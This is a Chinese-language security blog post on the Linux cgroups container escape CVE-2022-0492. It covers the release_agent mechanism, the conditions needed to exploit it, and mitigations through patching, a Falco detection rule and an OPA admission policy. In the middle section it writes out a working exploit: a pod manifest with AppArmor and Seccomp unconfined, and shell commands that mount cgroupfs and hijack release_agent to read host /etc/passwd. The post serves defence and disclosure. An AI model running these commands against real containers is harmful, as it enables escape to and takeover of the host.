Linux 维护人员披露了 Linux 内核中的一个权限提升漏洞。该漏洞的常见漏洞和暴露 ID 为CVE-2022-0492,被评为高 (7.0) 严重性。
该漏洞出现在允许攻击者逃离容器环境并提升权限的 cgroups 中。
易受攻击的代码位于 Linux Kernel 的kernel /cgroup/cgroup-v1.c函数中的cgroup_release_agent_write中。发布的补丁修复了版本内核 5.17 rc3 中的此问题。
大多数容器环境已经默认启用了安全设置以防止容器逃逸。事实上,使用SELinux、AppArmor或Seccomp运行的容器受到保护。话虽如此,我们都知道容器在不遵循安全最佳实践的情况下运行并不少见,它可能会使您的环境面临严重风险。
无论如何,我们建议所有 Linux 用户下载并安装最新版本的 Kernel。
虽然release_agent 逃逸已经存在,但它们需要CAP_SYS_ADMIN能力来逃逸容器。
CVE-2022-0492向我们展示了一种可用于实现逃生的新技术。特别是,我们可以将cgroupfs挂载到新用户的命名空间中,然后编辑release_agent文件。
cgroups v1 的一个可用特性是release_agent文件。该文件允许管理员配置一个“发布代理”程序,该程序将在 cgroup 中的进程终止时运行。当一个进程死亡时,内核会检查它的 cgroups 是否启用了notify_on_release。如果启用,它会生成相关的 release_agent 二进制文件,以 root 身份运行。
这意味着如果您可以写入 release_agent 文件,您可以强制内核调用您选择以提升的权限执行的二进制文件并控制整个系统。由于这些原因,release_agent 文件归 root 所有,只有具有 root 权限的用户才能对其进行写入。
如前所述,大多数遵循安全最佳实践的容器环境默认是安全的。事实上,要继续利用漏洞,必须满足以下条件:
容器以 root 身份运行:因为只有 root 才能修改 release_agent 文件,这是利用该漏洞的必要条件
AppArmor 和 SELinux 必须被禁用:这两个工具都会阻止安装。
Seccomp 必须被禁用:只有在没有它的情况下运行的容器才能创建新的用户命名空间
root cgroup v1:这是架构中使用较多的版本
让我们看一下使用Kubernetes Pod 的利用。这里发布了为测试部署的 Pod:
apiVersion: v1
kind: Pod
metadata:
labels:
app: apache-httpd
name: apache-httpd
namespace: apache-httpd
annotations:
container.apparmor.security.beta.kubernetes.io/apache-httpd: unconfined
container.seccomp.security.alpha.kubernetes.io/apache-httpd: unconfined
spec:
containers:
- name: apache-httpd
image: darryk/apache2.4.49
ports:
- containerPort: 80
hostPort: 80
特别是,下面报告的两个注释可确保对 Pod 禁用 AppArmor 和 Seccomp。
container.apparmor.security.beta.kubernetes.io/apache-httpd:unconfined
container.seccomp.security.alpha.kubernetes.io/apache-httpd:unconfined
值得注意的是,如果容器以特权身份运行,则所有用户定义的措施都不会应用于 Pod。在这种情况下,这种新技术与其他已经众所周知的从容器中逃逸的技术一样,只是另一种可能的技术。
securityContext:
privileged: true
部署后,我们可以执行 unshare 来创建一个新的用户命名空间和 cgroup 命名空间。然后我们可以挂载 cgroupfs 并将我们的数据写入 release_agent。
unshare -UrmC bash
mkdir /tmp/mountest && mount -t cgroup -o rdma cgroup /tmp/mountest && mkdir /tmp/mountest/x
要触发漏洞利用,我们还需要通过杀死 cgroup 中的所有进程来触发release_agent调用。要在创建的“x”cgroup 发布时启用 cgroup 通知,我们将 1 写入其 notify_on_release 文件。
我们还需要编辑 cgroup release_agent 文件以执行 /cmd 脚本,该脚本将读取主机 /etc/passwd 敏感文件并将内容直接写入容器内的输出文件中。为此,我们将从 /etc/mtab 文件中获取主机上容器的路径。
echo 1 > /tmp/mountest/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/mountest/release_agent
echo '#!/bin/sh' > /cmd
echo "cat /etc/passwd > $host_path/output" >> /cmd
chmod a+x /cmd
我们现在可以通过生成一个立即在子 cgroup 内结束的进程来触发攻击。如下面的屏幕截图所示,我们能够执行攻击并成功地从容器内检索主机文件 /etc/passwd。
sh -c "echo \$\$ > /tmp/mountest/x/cgroup.procs"
这只是展示成功逃离容器的示例,但攻击者可以执行其他更具破坏性的操作,以完全破坏主机。
该缺陷的严重性被评为“高”,得分为 7.0。它具有很高的影响,并且很容易被在容器中具有 root 访问权限的本地攻击者使用。
如果攻击者可以利用该漏洞,他们可以利用该漏洞逃离容器环境并获得主机系统的 root 权限。
正如我们之前所见,检查容器环境是否易受攻击并执行漏洞利用非常简单直接。此外,类似的逃逸技术已经广为人知,它使漏洞更容易被利用。
CVE-2022-0492可以通过安装 Linux 内核补丁来缓解。
如果无法进行修补,Linux 用户也可以禁用非特权用户命名空间,而无需重新启动。不过这些命令可能会影响主机运行容器的能力。
使用像Falco这样的运行时检测引擎工具,您可以在容器已经投入生产时检测运行时发生的攻击。CNCF 孵化项目 Falco 可以帮助检测云原生环境中的异常活动。以下 Falco 规则可以帮助您检测您是否受到CVE-2022-0492的影响。
- rule: Linux Cgroup Container Escape Vulnerability (CVE-2022-4092)
desc: "This rule detects an attempt to exploit a container escape vulnerability in the Linux Kernel."
condition: container.id != "" and proc.name = "unshare" and spawned_process and evt.args contains "mount" and evt.args contains "-o rdma" and evt.args contains "/release_agent"
output: "Detect Linux Cgroup Container Escape Vulnerability (CVE-2022-4092) (user=%user.loginname uid=%user.loginuid command=%proc.cmdline args=%proc.args)"
priority: CRITICAL
tags: [process, mitre_privilege_escalation]
在准入控制器上 实现镜像扫描,可以只允许符合扫描策略的工作负载镜像在集群中运行。
您可以创建一个验证准入 Webhook,以防止创建和修改工作负载。如果您有现有的准入策略机制(如OPA Gatekeeper),您可以创建一个强制执行此限制的策略。
该组件能够使用不同的标准根据名称、标签、命名空间、CVE 严重性级别等拒绝镜像创建和分配策略,准入控制器将评估新的部署镜像,如果检测到安全问题,则阻止部署。
使用以下 OPA rego 策略,我们可以确保正在部署的 Pod 没有禁用 AppArmor 或 Seccomp。
package kubernetes.admission
validateAnnotations(annotation){
some k
annotation[k]
startswith(k, "container.apparmor.security.beta.kubernetes.io")
annotation[k] == "unconfined"
}
validateAnnotations(annotation){
some k
annotation[k]
startswith(k, "container.seccomp.security.alpha.kubernetes.io/")
annotation[k] == "unconfined"
}
valueWorkLoadAnnotations(workload){
assign(annotation, workload.annotations[_]);
validateAnnotations(annotation)
}
deny[message] {
equal(input.request.kind.kind, "Pod");
assign(workload, input.request.object[_]);
valueWorkLoadAnnotations(workload);
message := sprintf("Container has %v", [workload.name])
}
幸运的是,漏洞CVE-2022-0492已被发现并已修补,但仍需要建立机制来防止部署新的易受攻击的服务,并确保我们不会通过检查运行时事件来攻击现有主机。
管理员和用户需要使用最新的安全补丁使他们的系统保持最新状态。根据环境,修补可能是一个耗时的过程。幸运的是,Falco 和 OPA 等开源工具可以帮助在攻击者之前追踪未打补丁的系统。
无论如何,我们建议所有 Linux 用户下载并安装最新版本的 Kernel。
A Big Picture of Kubernetes
Kubernetes入门培训(内含PPT)
随手关注或者”在看“,诚挚感谢!